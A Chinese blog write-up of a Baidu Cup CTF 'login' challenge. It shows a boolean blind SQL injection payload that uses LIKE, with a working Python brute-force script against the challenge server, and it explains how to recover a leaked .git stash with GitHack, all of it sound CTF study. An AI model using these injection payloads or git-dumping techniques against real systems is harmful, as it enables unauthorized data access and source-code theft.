[百度杯] 十月场 登陆 writeup

标签: git泄漏 布尔盲注
6人阅读 评论(0) 收藏 举报
分类:

c26老哥的视频教程十分的详细了,这里我主要说一下自己在这道题里踩到的坑,避免下次再犯。
视频链接: http://www.ichunqiu.com/ourse/56093

1 、登陆步骤

先试一了以下万能密码 admin’ or ‘1’=’1 发现有两种报错响应,“用户名不存在”和“密码错误”,明显的是布尔值盲注。很开心,哪脚本跑一下,发现mid, substr, left ,search 等很多函数都不能使用,当时就很崩溃,又找不到绕过的方法。然后看c26老哥的视频,发现他采用了 regexp 正则表达式的方式进行注入。然后我就用他的思路,试了一下like方法。发现like方法也可以,类似: admin’ or database() like ‘c%’ ;# 这样的。但是不能用search怎么找字段名呢?看视频知道,

<html>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<head>
   <title>Login</title>
</head>

   <form action="login.php" method="post">
   用户名:<input type="text" name="username" class="user_n3me">
   密码:  <input type="password" name="password" class="p3ss_w0rd">
   <input type="submit" value="提交">
   </form>
</body>
</html>

观察网页源码,尝试用两个input的class名作为数据库的字段名。真是好思路啊。
然后就拿到了名称和密码,脚本如下:

import string
import requests


url = 'http://b507d5c3421f4533a1546f7239ccf22721074858f4924a1a.game.ichunqiu.com/Challenges/login.php'
headers = {'User-Agent': "Mozilla/5.0 (X11; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0"}
payloads = string.ascii_letters + string.digits
temp = ''
for i in range(40):
    print("hello")
    for p in payloads:
        payload = temp + p
        name = "admin' or user_n3me like '{}%' ;#".format(payload)
        data = dict(username=name, passwrod='test')
        res = requests.post(url, headers=headers, data=data)
        if (len(res.content) == 12):
            temp = temp + p
            print(temp.ljust(32, '.'))
            break

2 、git泄漏

登陆之后,根据页面显示发现是git泄漏,这里觉得ctf题里面无论是多么奇怪的字符串,都会有它特殊的含义。

然后利用脚本还原git库,我先试了以下rip-git,结果是下载不完整,没有关于falg的信息。根据视频里的提示,我们访问
/ctfg1t/refs/stash 的到一个字符串,然后根据这个字符串进行下载,最后找到了有关flag信息的文件,那到底是怎么回事呢?
其实题目里有提示, “缓存”, git stash 命令会为跟踪已修改的文件建立一次特殊的commit,这次”commit’不能在git log 中显示,不作为正式的commit, 但会作为stash被记录在stash栈里面。这样,如果遇到紧急bug,就会先stash 当前的工作,然后回退到之前的commit, 进行修改,然后stash pop 恢复之前的工作。避免了提交新的commit 导致污染提交记录。
我们到stash里面的commit文件后,根据里面的内容找到tree文件,然后再找到blob文件,得到关于flag的信息,如果不明白什么叫commit文件,tree文件,blob文件,可以看这篇博客:https://blog.csdn.net/i_enum/article/details/50557367
但是这样真的很麻烦,然后我在github上找了一个其他的脚本,用着不错,可以把整个git库都下载下来,
链接:https://github.com/BugScanTeam/GitHack 注意是python2
然后操作就一样了,你可以直接git cat-file -p 所有对象文件,也可以根据stash的信息,一步步找到需要的文件。

查看评论

百度杯CTF Write up集锦 WEB篇

九月场1.code一开始的URL为http://ace3c302efed4a9094cbac1dff0250e8add1b4b45f8249d4.game.ichunqiu.com/index.php...
  • qq_31481187
  • qq_31481187
  • 2016-09-21 00:12:23
  • 35053

百度杯”CTF比赛(十二月场)

"百度杯"CTF比赛(十二月场) 第一场 1、传说中的签到题 解决:把二进制用在线进制转换器转换,发现转为10进制时,和tips2一样,在qq上一查,是CTF官方群,在公告里有一个字符串ZmxhZ...
  • Root__Liu
  • Root__Liu
  • 2017-04-13 19:58:19
  • 1010

百度杯”CTF比赛(十一月场)

第一场  1、小可爱 解: 2、签到题 解:加群下载文件“flag.rar”,打开时需要解密,输入给的key解出来 直接提交就可以了,这道题很喜欢。。。。 3、所以这是13点吗 ...
  • Root__Liu
  • Root__Liu
  • 2016-11-27 19:56:51
  • 2408

i春秋百度杯CTF比赛2016年12月场writeup

2016年i春秋百度杯CTF比赛12月场writeup
  • hubuguia
  • hubuguia
  • 2017-01-01 21:52:56
  • 2998

百度杯二月Reverse场CrackMe11writeup

这个题是被算法迷惑到的一个题目 首先在IDA中可以看到这两个重要条件: 看到这两个很明显: A:输入的长度要是36(在OD中能够发现一个定值字符串,长度v3 == 18,那么v4 =...
  • kevin66654
  • kevin66654
  • 2017-02-25 09:21:46
  • 432

"百度杯"CTF 9月2日 WriteUp.md

"百度杯"CTF 9月2日 WriteUp
  • qq_19876131
  • qq_19876131
  • 2016-09-04 14:11:48
  • 6102

2016百度杯12月第四场挑战赛解题过程记录

这题从入门,到放弃,使用了一天时间,里面关于sql注入的套路比较深,故记录下解题过程,并和WP作了一定的结合。 百度杯比赛链:http://www.ichunqiu.com/racing/ctf_5...
  • qq_30123355
  • qq_30123355
  • 2017-02-27 17:40:25
  • 305

百度杯CTF比赛二月第三场比赛(Reverse专题赛)的CrackMe-1题目

  • 2017年03月30日 11:50
  • 32KB
  • 下载

百度杯十一月Reverse03的checkflag代码

import sys def debug(): global a for i in range(0,9): for j in range(0,9): ...
  • kevin66654
  • kevin66654
  • 2017-02-24 15:05:38
  • 204

百度杯12月第四场Blog进阶版解题过程记录

继上篇百度杯12月第四场Blog挑战赛后,又出了一道Blog进阶版,其中有些内容非常开阔脑洞。 用上一篇提到的insert注入方法能够顺利获取到admin的账号和密码,这里就不再重复阐述; 另外提...
  • qq_30123355
  • qq_30123355
  • 2017-02-27 17:48:08
  • 263
    个人资料
    等级:
    访问量: 209
    积分: 97
    排名: 141万+
    文章分类
    文章存档